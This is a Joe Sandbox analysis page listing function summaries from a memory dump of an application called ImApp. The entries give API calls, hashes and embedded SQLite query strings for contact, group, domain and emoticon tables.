Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #764??0?$basic_string@D@2@@std@@D@std@@ExceptionThrowU?$char_traits@V?$allocator@
String ID: invalid map/set<T> iterator
API String ID: 1945055090-152884079
Opcode ID: a7e70a1d11e0d0788a4d81e399cfb0367a8edd8b8e7b580f97fa38b924a40607
Instruction ID: e1e02cddf4023aedc070d8bd84ef8f4a1f4b325ec5f86b68f039c28698ac7abb
Opcode Fuzzy Hash: a7e70a1d11e0d0788a4d81e399cfb0367a8edd8b8e7b580f97fa38b924a40607
Instruction Fuzzy Hash: 32A19FB05083819FE705CF24C090B45BBE2FF45284F6A8A9DE4954F35ACBB1ED85CB95

Function 10009AC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

#6700.MFC80U(?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009AFB
#299.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009B04
#1479.MFC80U(?,ReaderEvent_,?,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 10009B46

Strings

ReaderEvent_, xrefs: 10009B44

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #1479#299#6700
String ID: ReaderEvent_
API String ID: 3511267609-2171697025
Opcode ID: a044f26e678108a9da79b97fef6495bc290aea9a6e54f5d177000e9c0858a529
Instruction ID: 41403486f6368a1e7e78bef1096cc082b2ba258e3c4ab8d0eb11accb323ccb43
Opcode Fuzzy Hash: a044f26e678108a9da79b97fef6495bc290aea9a6e54f5d177000e9c0858a529
Instruction Fuzzy Hash: EC112AB55082519FE310DF19D994B9BB7E8EB89BA0F05892DF84583344D7749908CBA2

Function 020CA300 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,?,?,?,020F02BA,000000FF,020C9B8D,?,?,SELECT 1 FROM Groups WHERE Name=:Name COLLATE NOCASE,Name,00000002), ref: 020CA33E
#899.MFC80U(020F50C8), ref: 020CA373
#899.MFC80U(GroupID), ref: 020CA382

Strings

GroupID, xrefs: 020CA37F

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #899$#310
String ID: GroupID
API String ID: 1438429479-424841700
Opcode ID: 6876af464ccae434044844a59a995d2ee527fd813c0ba82de7ae3d97f98507ed
Instruction ID: a2fb2d46f34effa39b3cb8aa3d8921f118621c6a3d556d8bb452568edbe840f6
Opcode Fuzzy Hash: 6876af464ccae434044844a59a995d2ee527fd813c0ba82de7ae3d97f98507ed
Instruction Fuzzy Hash: 99117CB5684300CBD394CF09D898B6AF7E9FB84754F04091EF85993780D7B9A9088FA1

Function 020C9310 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,00000000,?,?,020F02BA,000000FF,020C6449,?,?,SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE,Email,00000008), ref: 020C934E
#899.MFC80U(020F50C8), ref: 020C9383
#899.MFC80U(ContactID), ref: 020C9392

Strings

ContactID, xrefs: 020C938F

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #899$#310
String ID: ContactID
API String ID: 1438429479-3453245005
Opcode ID: 7e839647f8dd51328248677dcaf969f5e3d1273a45575a5a1ca315d9b9e3d67d
Instruction ID: 07a3b18205bc57aa16acb4112f5f7c8d8c24c6335cfe7bc1606cc856484f3929
Opcode Fuzzy Hash: 7e839647f8dd51328248677dcaf969f5e3d1273a45575a5a1ca315d9b9e3d67d
Instruction Fuzzy Hash: 801170B1684300DBE394CF09D448B6AF7E9FBC4754F04091DE85993780C7B9A9088FA1

Function 10002250 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

#310.MFC80U(DC7F1836,?,?,?,1000B4A9,000000FF), ref: 10002278
#2311.MFC80U(?,SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='%s',?,?,?,?,1000B4A9,000000FF), ref: 10002295

Part of subcall function 10006AD0: #20.IMDBU(DC7F1836), ref: 10006AF8
Part of subcall function 10006AD0: #12.IMDBU(?,?,?), ref: 10006B14
Part of subcall function 10006AD0: #17.IMDBU(?,?,?), ref: 10006B79
Part of subcall function 10006AD0: #16.IMDBU(?,?,?), ref: 10006B8A

#578.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,1000B4A9,000000FF), ref: 100022CE

Strings

SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='%s', xrefs: 1000228F

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #2311#310#578
String ID: SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='%s'
API String ID: 1584812125-285573620
Opcode ID: 74ff5bf38bcdd913f3efc432eabba9857e7097e9f3353ccc918f91e1a085fb8e
Instruction ID: c7e8f74a44c77d9fa8d79ea6dceb409f8856c374fb418def20955c8b03f774d0
Opcode Fuzzy Hash: 74ff5bf38bcdd913f3efc432eabba9857e7097e9f3353ccc918f91e1a085fb8e
Instruction Fuzzy Hash: 94014076118750AFD304CF18CC45F97B7E8FB88760F048A1EF5A593290E7749604CB92

Function 020CC650 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

#10.IMDBU(SELECT 1 FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,020CBFE7,?,?,00000000,020CE5B5,?,00000000,00000000,?,?), ref: 020CC685
#28.IMDBU(SELECT 1 FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,?,00000001,SELECT 1 FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,?,?,020CBFE7,?,?,00000000,020CE5B5,?,00000000,00000000), ref: 020CC6A4

Strings

DomainName, xrefs: 020CC676
SELECT 1 FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020CC67E, 020CC695

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: DomainName$SELECT 1 FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE
API String ID: 0-2919525627
Opcode ID: 36fcc703878005ca61f5a52c555d50e81c6011dc6f82e3ebf437ae1636c1bce5
Instruction ID: 229c5db5d691d30af41f56e465fed20468ce625141b3747d727767e597745847
Opcode Fuzzy Hash: 36fcc703878005ca61f5a52c555d50e81c6011dc6f82e3ebf437ae1636c1bce5
Instruction Fuzzy Hash: 67F0CDB22403201EF644AB24C915AAF6399DB85B20F18C42EFA479B640D730E840A7D0

Function 020DE410 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

#6700.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EEBD1,000000FF), ref: 020DE44A
#299.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020EEBD1), ref: 020DE453
#1479.MFC80U(?,00000000,?,?,00000001), ref: 020DE480

Strings

\, xrefs: 020DE46A

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #1479#299#6700
String ID: \
API String ID: 3511267609-2967466578
Opcode ID: 80f1e39ca50d64a8ba3379e7dc51d9ac1b2a2c0fc45d0026cc9830774a9e2de1
Instruction ID: 82bf89f2665873e49d4925bab6d287042b7aab2b5a18d9ffcaec229e7018dbbc
Opcode Fuzzy Hash: 80f1e39ca50d64a8ba3379e7dc51d9ac1b2a2c0fc45d0026cc9830774a9e2de1
Instruction Fuzzy Hash: F40156B1648741DFD300CF18C889B5BBBE8FB88714F04490DF59A87680E7B9A5088BE2

Function 03272070 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

wcsncmp.MSVCR80 ref: 0327207D
_wtoi64.MSVCR80 ref: 0327208E

Part of subcall function 03272AB0: ??2@YAPAXI@Z.MSVCR80(00000014,?,032720A1,00000000,00000001,?), ref: 03272AB3
Part of subcall function 03272AB0: GlobalSize.KERNEL32(?), ref: 03272ACE
Part of subcall function 03272AB0: CreateStreamOnHGlobal.OLE32(?,?,00000004,?,?,?), ref: 03272AE5

CreateURLMoniker.URLMON(00000000,?,?), ref: 032720B0

Strings

file://hglobal/, xrefs: 03272077

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: CreateGlobal$??2@MonikerSizeStream_wtoi64wcsncmp
String ID: file://hglobal/
API String ID: 1488974721-186121504
Opcode ID: cf14d8bbbfa23a814672cf36e623dbfa73c0cfa3f663820d70830dd9c0bf0b90
Instruction ID: 32fdbf21e2b867c68d4e70194203c9498618d0b642077ce843deb5fa01332d9a
Opcode Fuzzy Hash: cf14d8bbbfa23a814672cf36e623dbfa73c0cfa3f663820d70830dd9c0bf0b90
Instruction Fuzzy Hash: B3E0D8725143206BD610F7146C0EF9B3728AF91720F048804F90567147D2B04891C6F2

Function 020D9370 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

#10.IMDBU(SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE,Email,?), ref: 020D9388
#28.IMDBU(SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE,?,00000001,SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE,Email,?), ref: 020D93AD

Strings

Email, xrefs: 020D937C
SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE, xrefs: 020D9381, 020D939E

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: Email$SELECT 1 FROM Contacts WHERE Email=:Email COLLATE NOCASE
API String ID: 0-658524112
Opcode ID: 7b81112eba016336031c495d769d226ab0d0c831dd9c0c7a6366af761201100b
Instruction ID: 3e6d75711700a8b6a28fcb10ed201bd31940cf1db81f7ef5ad58badb85b58af0
Opcode Fuzzy Hash: 7b81112eba016336031c495d769d226ab0d0c831dd9c0c7a6366af761201100b
Instruction Fuzzy Hash: 74E092723953117FEA84D650C941BDBB7D59F85B54F00C40EF6064B080D6B1D987EBE2

Function 020DCBB0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

#9.IMDBU(SELECT 1 FROM Chumicons WHERE ChumiconID=:ChumiconID,ChumiconID,?), ref: 020DCBC8
#28.IMDBU(SELECT 1 FROM Chumicons WHERE ChumiconID=:ChumiconID,?,00000001,SELECT 1 FROM Chumicons WHERE ChumiconID=:ChumiconID,ChumiconID,?), ref: 020DCBED

Strings

SELECT 1 FROM Chumicons WHERE ChumiconID=:ChumiconID, xrefs: 020DCBC1, 020DCBDE
ChumiconID, xrefs: 020DCBBC

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: ChumiconID$SELECT 1 FROM Chumicons WHERE ChumiconID=:ChumiconID
API String ID: 0-3672886669
Opcode ID: 59c68eda5f71aa69ec274328a17fb80ff1157aa42069938aaef247daf5640f13
Instruction ID: 8d01bb4d176f3ffa097feb67e54dba5e3e307050edd7f741a5078f8851c14f12
Opcode Fuzzy Hash: 59c68eda5f71aa69ec274328a17fb80ff1157aa42069938aaef247daf5640f13
Instruction Fuzzy Hash: 94E092723843107BEA44D610C991AEBB7D59FA5B14F00C44DF6466A140C671A846DBA2

Function 020DCA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

#10.IMDBU(UPDATE Domains SET GetFaviconCounter=GetFaviconCounter + 1 WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?), ref: 020DCA2A
#8.IMDBU(UPDATE Domains SET GetFaviconCounter=GetFaviconCounter + 1 WHERE DomainName=:DomainName COLLATE NOCASE,00000001,00000000,UPDATE Domains SET GetFaviconCounter=GetFaviconCounter + 1 WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?), ref: 020DCA3E

Strings

DomainName, xrefs: 020DCA1E
UPDATE Domains SET GetFaviconCounter=GetFaviconCounter + 1 WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020DCA23, 020DCA37

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: DomainName$UPDATE Domains SET GetFaviconCounter=GetFaviconCounter + 1 WHERE DomainName=:DomainName COLLATE NOCASE
API String ID: 0-2737290879
Opcode ID: b4920e2c70bf2a4111d0bb73de33a0f8f27e10d4a5f04ab1a159c1e5ae9781a3
Instruction ID: 15361de9e2b32e9edcb8b42717ee433c940e8d36a19933d0bb54a60b5df50f25
Opcode Fuzzy Hash: b4920e2c70bf2a4111d0bb73de33a0f8f27e10d4a5f04ab1a159c1e5ae9781a3
Instruction Fuzzy Hash: 38D0C2353903102FF581D118CC41FCFBB568B4AB00F108004F7076F290CAA29983A795

Function 020D1760 Relevance: 6.3, APIs: 4, Instructions: 303COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80 ref: 020D18D7
_invalid_parameter_noinfo.MSVCR80(?), ref: 020D191B
#578.MFC80U ref: 020D1944

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#578
String ID:
API String ID: 717822477-0
Opcode ID: eed30c6b3a59eee48ebcbc8e9c0b301941f608cc9c8d0de0315aeeb323cdcfa3
Instruction ID: bf08c65bb45f302263186c129f1ec93a2c9de0edff56a84c33a3811186e41b39
Opcode Fuzzy Hash: eed30c6b3a59eee48ebcbc8e9c0b301941f608cc9c8d0de0315aeeb323cdcfa3
Instruction Fuzzy Hash: 70C127352497419FC315DF68C880A6BF7E5BFC8704F248A5CE6A98B3A0DB35E845CB52

Function 020E23F0 Relevance: 6.1, APIs: 4, Instructions: 148COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(00000066,00000000,?,00000000,020DFF17,00000008,?,?,?,?,00000000), ref: 020E2426
_invalid_parameter_noinfo.MSVCR80(00000066,00000000,?,00000000,020DFF17,00000008,?,?,?,?,00000000), ref: 020E2430
memmove_s.MSVCR80 ref: 020E2476

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memmove_s
String ID:
API String ID: 2274793044-0
Opcode ID: ee064914818d6f1a33709fb9b8c77ac4b411a816a721e53986b9a0470f3e5807
Instruction ID: 8d4c76734be1936208a5ffef5cdde51cf6f8f446301074f94f998603e48c8f95
Opcode Fuzzy Hash: ee064914818d6f1a33709fb9b8c77ac4b411a816a721e53986b9a0470f3e5807
Instruction Fuzzy Hash: E44193B6B002159F8F50DE28DD805AEB79AEF84651708C179ED0ADF304EB31ED85DBA0

Function 020C37F0 Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

#776.MFC80U ref: 020C3822
#776.MFC80U(00000000,00000000,00000000), ref: 020C383C
#776.MFC80U(00000000), ref: 020C389D
_invalid_parameter_noinfo.MSVCR80(00000000,00000000), ref: 020C38D5

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #776$_invalid_parameter_noinfo
String ID:
API String ID: 2201585297-0
Opcode ID: 4a243428cbddcf9013b996d29a645b13329e6f842beef3ff86b96cbba304da58
Instruction ID: f6f01ce2e7c148dadd25734ed6d883e34e6d5eeeae28ada26c4e7a8eb5ab7219
Opcode Fuzzy Hash: 4a243428cbddcf9013b996d29a645b13329e6f842beef3ff86b96cbba304da58
Instruction Fuzzy Hash: 263107B28183159BD715DF4CE4815DDF7E8BB14310F1481AFED9983940D721B9A8DBE2

Function 00407C90 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00407CB5
#314.MFC80U(00000000,FC8A6036), ref: 00407CBF
#6751.MFC80U(00000000,00000000), ref: 00407D12
#6751.MFC80U(00000000,00000000), ref: 00407D97

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #6751$#1067#314
String ID:
API String ID: 2897520120-0
Opcode ID: 0250e01bc7627b78c0156cf5783f365b28a015db40cad61957eb80bd0465953a
Instruction ID: 7938476e730f3028bbb79d653d0cfb26d02591ceb0dac05cffa97e03ae3e4f03
Opcode Fuzzy Hash: 0250e01bc7627b78c0156cf5783f365b28a015db40cad61957eb80bd0465953a
Instruction Fuzzy Hash: 973136756087019FD314DF29C881B6BB7E4FF88724F148A2EE495AB390D738E845CB96

Function 0040FE69 Relevance: 6.1, APIs: 4, Instructions: 82stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0040FE7F
#265.MFC80U(00000000), ref: 0040FEA6
#764.MFC80U(00000000), ref: 0040FF42
#764.MFC80U(?,00000000), ref: 0040FF57

Part of subcall function 00409E80: memcpy_s.MSVCR80 ref: 00409E94

Part of subcall function 0040EE90: _recalloc.MSVCR80(?,?,00000004,00000000,00000002,0040FF1E,?,?), ref: 0040EEA6

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #764$#265_recalloclstrlenmemcpy_s
String ID:
API String ID: 1725426745-0
Opcode ID: 522ab89459c81ab91761995da6497fbab22d62f522ab2feddae09b680a3f76eb
Instruction ID: a676e3ea8dbd4f5768cf50385438466b073df6869ed11b601ea01ddd6d0abdae
Opcode Fuzzy Hash: 522ab89459c81ab91761995da6497fbab22d62f522ab2feddae09b680a3f76eb
Instruction Fuzzy Hash: 3B214BB2D012099BDB14CFD9C9856EFFBB8EF88304F10816EE505B3281D7795A058BA4

Function 00402AD0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

#1176.MFC80U ref: 00402AE2
#6282.MFC80U(?), ref: 00402B1C

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1176#6282
String ID:
API String ID: 598476439-0
Opcode ID: 825fdd6955f0a6725c68c58cfe1d1ed2685264dc4e122834116d43bac84bc6e4
Instruction ID: b86961dca7b2f85f5dad1059be9995f388bb1ca863a93fdaae19951e8b2bd6f2
Opcode Fuzzy Hash: 825fdd6955f0a6725c68c58cfe1d1ed2685264dc4e122834116d43bac84bc6e4
Instruction Fuzzy Hash: B911E7373047054BD525BE54AE84B9FB36ACBC5770F21061FF928233D1DAB8A805C2A9

Function 10007890 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

#548.MFC80U(?,00000001,DC7F1836), ref: 100078C8
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,?,?,?,?,?,?,1000AF98,000000FF), ref: 100078F1
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,?,?,?,?,?,?,1000AF98,000000FF), ref: 10007902
#6201.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,1000AF98,000000FF), ref: 10007955

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#548#6201
String ID:
API String ID: 1002244787-0
Opcode ID: 5a616bd24be3b455bdc1ee6eca321b18f2ec94f00428df2e7197da09933239b7
Instruction ID: e1a20b1370d4bedcc54f2bcd5e5168d8c6af25c9df73bd6ce414459bd8a151f3
